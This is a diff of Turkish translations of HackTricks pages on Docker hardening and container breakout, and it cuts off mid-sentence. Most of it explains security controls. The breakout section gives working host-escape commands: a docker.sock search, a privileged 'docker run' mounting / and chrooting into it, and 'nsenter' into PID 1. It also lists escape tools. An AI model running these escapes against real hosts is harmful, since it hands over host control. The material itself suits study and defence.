kadar alabileceği anlamına gelir. blkio-weight, Konteynerin IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -200,9 +200,9 @@ Daha fazla bilgi için kontrol edin: ### Yetenekler -Yetenekler, kök kullanıcı için **izin verilebilecek yetenekler üzerinde daha ince kontrol sağlar**. Docker, **Kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak** için Linux çekirdek yetenek özelliğini kullanır. +Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır. -Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak için kullanabileceği hassas yetenekleri bırakır**. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır: +Bir docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak için kullanabileceği hassas yetenekleri bırakır. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğini ve kaçamayacağını sağlamaya çalışır: {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) @@ -210,7 +210,7 @@ Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak ### Docker'da Seccomp -Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sınırlamasına izin veren bir güvenlik özelliğidir**: +Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sınırlamasına izin veren bir güvenlik özelliğidir: {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) @@ -218,7 +218,7 @@ Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sı ### Docker'da AppArmor -**AppArmor**, **konteynerleri** **sınırlı** bir **küme kaynağa** ve **program profillerine** kapatmak için bir çekirdek geliştirmesidir.: +AppArmor, konteynerleri sınırlı bir dizi kaynağa per-program profilleri ile sınırlamak için bir çekirdek geliştirmesidir.: {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) @@ -228,11 +228,11 @@ Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sı * **Etiketleme Sistemi**: SELinux, her işlem ve dosya sistemi nesnesine benzersiz bir etiket atar. * **Politika Uygulaması**: Sistem içinde bir işlem etiketinin diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular. -* **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi olan `container_t` atanır. +* **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi olan `container_t` olarak atanırlar. * **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir. -* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini sağlar. +* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini (okuma, yazma, yürütme) sağlar. -Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılsa, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşime gireceğinden, bu tür tehlikelerden kaynaklanabilecek potansiyel hasarı önemli ölçüde sınırlar. +Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılsa, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanabilecek potansiyel hasarı önemli ölçüde sınırlar. {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) @@ -240,7 +240,7 @@ Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılsa, yalnız ### AuthZ & AuthN -Docker'da bir yetkilendirme eklentisi, Docker daemonuna yapılan istekleri **izin verip engellemekte güvenlik açısından kritik bir rol oynar**. Bu karar, iki temel bağlamı inceleyerek verilir: +Docker'da bir yetkilendirme eklentisi, Docker daemonına yapılan istekleri izin verip engelleyerek güvenlikte önemli bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir: * **Kimlik Doğrulama Bağlamı**: Bu, kullanıcı hakkında kapsamlı bilgileri içerir, kim oldukları ve nasıl kimlik doğruladıkları gibi. * **Komut Bağlamı**: Bu, yapılan isteğe ilişkin tüm ilgili verileri içerir. @@ -281,7 +281,7 @@ Aşağıdaki sayfada **`--privileged` bayrağının ne anlama geldiğini** öğr #### no-new-privileges -Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim sağladığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyasına** sahipseniz, saldırgan bunu kötüye kullanabilir ve konteynerin içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir. +Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış bir suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve konteyner içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir. Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**. ``` @@ -308,23 +308,23 @@ Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.doc ### Şifreleri Yönetme: En İyi Uygulamalar -Docker görüntülerine doğrudan şifre gömmek veya çevre değişkenleri kullanmak önemli bir güvenlik riski oluşturur, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır. +Docker görüntülerine doğrudan şifre gömmek veya çevresel değişkenler kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynere erişimi olan herkese hassas bilgilerinizi açığa çıkarır. -**Docker birimleri** hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir. +**Docker birimleri** hassas bilgilere erişmek için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için bellekte geçici bir dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynere `exec` erişimi olanlar hala şifrelere erişebilir. -**Docker secrets** hassas bilgileri ele almak için daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve şifrelerin kullanımını sağlar. +**Docker secrets** hassas bilgileri işlemede daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve destek sağlayan etkili bir çözüm sunar. -BuildKit'i kullanmak için üç yöntem vardır: +BuildKit'i kullanmak için üç şekilde etkinleştirilebilir: -1. Bir çevre değişkeni aracılığıyla: `export DOCKER_BUILDKIT=1` +1. Bir çevresel değişken aracılığıyla: `export DOCKER_BUILDKIT=1` 2. Komutlara önek ekleyerek: `DOCKER_BUILDKIT=1 docker build .` 3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma işlemi. -BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanımına izin verir, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak: +BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanılmasına olanak tanır, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır, aşağıdaki `docker-compose.yml` örneğinde gösterildiği gibi: +Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi: ```yaml version: "3.7" services: @@ -343,31 +343,31 @@ Kubernetes ortamlarında, secrets doğal olarak desteklenir ve [Helm-Secrets](ht ### gVisor -**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulama ile ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalıştırma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, kum havuzlu konteynerlerin çalıştırılmasını kolaylaştırır. +**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulama ile ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, sandboxed konteynerlerin çalıştırılmasını kolaylaştırır. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**. +**Kata Containers**, konteynerlere benzer şekilde hissettiren ve performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**. {% embed url="https://katacontainers.io/" %} ### Özet İpuçları -* **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır. -* Konteyner içinde **root olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki root, kullanıcı ad alanları ile yeniden eşlenene kadar ana bilgisayardakiyle aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır. -* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek, potansiyel bir saldırı kapsamını artırır. +* **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır. +* Konteyner içinde **root olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki root, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayarla aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır. +* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı kapsamını artırır. * Süreçlerin daha fazla ayrıcalık kazanmasını önlemek için [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), örneğin suid ikili dosyalar aracılığıyla. * Konteynere **kullanılabilir kaynakları sınırlayın**. Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir. -* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, [AppArmor](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin. -* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola gibi bilgileri güvenli bir yerde saklayın. Docker, UCP ile anahtarları yönetme planları yapmaktadır. -* **Güvenlik yamalarını uygulamak için düzenli olarak** **görüntülerinizi yeniden oluşturun.** -* **Secret'ları akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur. +* **Seccomp**'ı [**ayarlayın**](https://docs.docker.com/engine/security/seccomp/), [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini, konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirmek için sınırlayın. +* [**Resmi docker görüntülerini**](https://docs.docker.com/docker-hub/official\_images/) **kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük miras almayın veya [arka kapıdan](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) görüntüler kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır. +* Görüntülerinizi **düzenli olarak yeniden oluşturun** ve **güvenlik yamalarını uygulayın**. +* **Secret'ları** akıllıca yönetin, böylece saldırganın bunlara erişmesi zor olur. * Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması kullanın. -* Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla saldırılara maruz kalmazsınız. -* **Her mikro hizmet için ayrı konteynerler kullanın** -* Konteynerin içine **ssh koymayın**, "docker exec" kullanılarak Konteynere ssh yapılabilir. +* Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla saldırılara karşı savunmasız olmazsınız. +* **Her mikro hizmet için ayrı konteynerler** kullanın. +* Konteyner içine **ssh koymayın**, "docker exec" kullanılarak Konteynere ssh yapılabilir. * **Daha küçük** konteyner **görüntüleri kullanın** ## Docker Kaçışı / Ayrıcalık Yükseltme @@ -388,8 +388,8 @@ Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya ## Docker Sıkılaştırma -* [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtmakla ilgili onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\ -Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırılmalıdır. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +* [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtma etrafında onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\ +Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırmanız gerekir. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Referanslar @@ -407,21 +407,21 @@ Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahi * [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) * [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ +Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! -htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin! -Diğer HackTricks'i destekleme yolları: +HackTricks'ı desteklemenin diğer yolları: -- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -- 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index f4e31c7c3..ac37f58c8 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,44 +2,44 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Otomatik Sıralama ve Kaçış +## Otomatik Numaralandırma ve Kaçış -* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri sıralayabilir** -* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri sıralamak ve hatta otomatik olarak kaçmaya çalışmak için oldukça **yararlıdır** -* [**amicontained**](https://github.com/genuinetools/amicontained): Kaçmak için konteynerin sahip olduğu ayrıcalıkları bulmak için kullanışlı bir araç -* [**deepce**](https://github.com/stealthcopter/deepce): Konteynerleri sıralamak ve kaçmak için araç +* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri numaralandırabilir** +* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri numaralandırmak için oldukça **yararlıdır ve hatta otomatik olarak kaçmaya çalışır** +* [**amicontained**](https://github.com/genuinetools/amicontained): Konteynerin sahip olduğu ayrıcalıkları almak için kullanışlı bir araç, bundan kaçış yollarını bulmak için +* [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden numaralandırmak ve kaçmak için araç * [**grype**](https://github.com/anchore/grype): Görüntüye yüklenen yazılımda bulunan CVE'leri alın -## Bağlanmış Docker Soketi Kaçışı +## Bağlanmış Docker Soketinden Kaçış -Eğer bir şekilde **docker soketinin bağlandığını** bulursanız, ondan kaçabilirsiniz.\ -Bu genellikle bazı nedenlerle docker konteynerlerinin eylemler gerçekleştirmek için docker daemon'a bağlanması gerektiği durumlarda olur. +Eğer **bir şekilde docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\ +Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemonına bağlanması gereken docker konteynerlerinde meydana gelir. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` -Bu durumda, docker komutlarını kullanarak docker daemon ile iletişim kurabilirsiniz: +Bu durumda, docker daemon ile iletişim kurmak için düzenli docker komutlarını kullanabilirsiniz: ```bash #List images to use one docker images @@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` {% hint style="info" %} -Eğer **docker soketi beklenmedik bir yerde** ise, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresiyle kullanarak onunla iletişim kurabilirsiniz. +Eğer **docker soketi beklenmedik bir konumda** bulunuyorsa, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak iletişim kurabilirsiniz. {% endhint %} -Docker daemon ayrıca bir portta (varsayılan olarak 2375, 2376) dinleyebilir veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir. +Docker daemon ayrıca bir portta dinleyebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir. {% hint style="info" %} Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soketlerine dikkat edin: @@ -70,15 +70,15 @@ Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soke * ... {% endhint %} -## Yeteneklerin Kötüye Kullanılması ve Kaçış +## Yeteneklerin Kötüye Kullanımından Kaçınma -Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdakilerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdaki yeteneklerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**, **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** -Mevcut konteyner yeteneklerini **önceden bahsedilen otomatik araçlar** veya aşağıdaki komutu kullanarak kontrol edebilirsiniz: +Şu anda konteyner yeteneklerini kontrol edebilirsiniz **daha önce bahsedilen otomatik araçlar** veya: ```bash capsh --print ``` -Aşağıdaki sayfada, linux yetenekleri hakkında daha fazla bilgi edinebilir ve bunları kötüye kullanarak ayrıcalıkları kaçırabilir/yükselebilirsiniz: +Aşağıdaki sayfada **linux yetenekleri** hakkında daha fazla bilgi edinebilir ve bunları kötüye kullanarak ayrıcalıklardan kaçınabilir/aitalabilirsiniz: {% content-ref url="../../linux-capabilities.md" %} [linux-capabilities.md](../../linux-capabilities.md) @@ -86,7 +86,7 @@ Aşağıdaki sayfada, linux yetenekleri hakkında daha fazla bilgi edinebilir ve ## Ayrıcalıklı Konteynerden Kaçış -Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmaları devre dışı bırakarak oluşturulabilir: +Ayrıcalıklı bir konteyner, `--privileged` bayrağı ile oluşturulabilir veya belirli savunmalar devre dışı bırakılarak oluşturulabilir: * `--cap-add=ALL` * `--security-opt apparmor=unconfined` @@ -98,7 +98,7 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmala * `--cgroupns=host` * `/dev` bağlama -`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürerek **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'in tam etkileri hakkındaki belgelere başvurun. +`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun. {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) @@ -106,36 +106,36 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmala ### Privileged + hostPID -Bu izinlerle, sadece root olarak çalışan bir işlemin (pid:1) ad alanına geçebilirsiniz, örneğin init, sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Bu izinlerle, sadece şu komutu çalıştırarak (pid:1 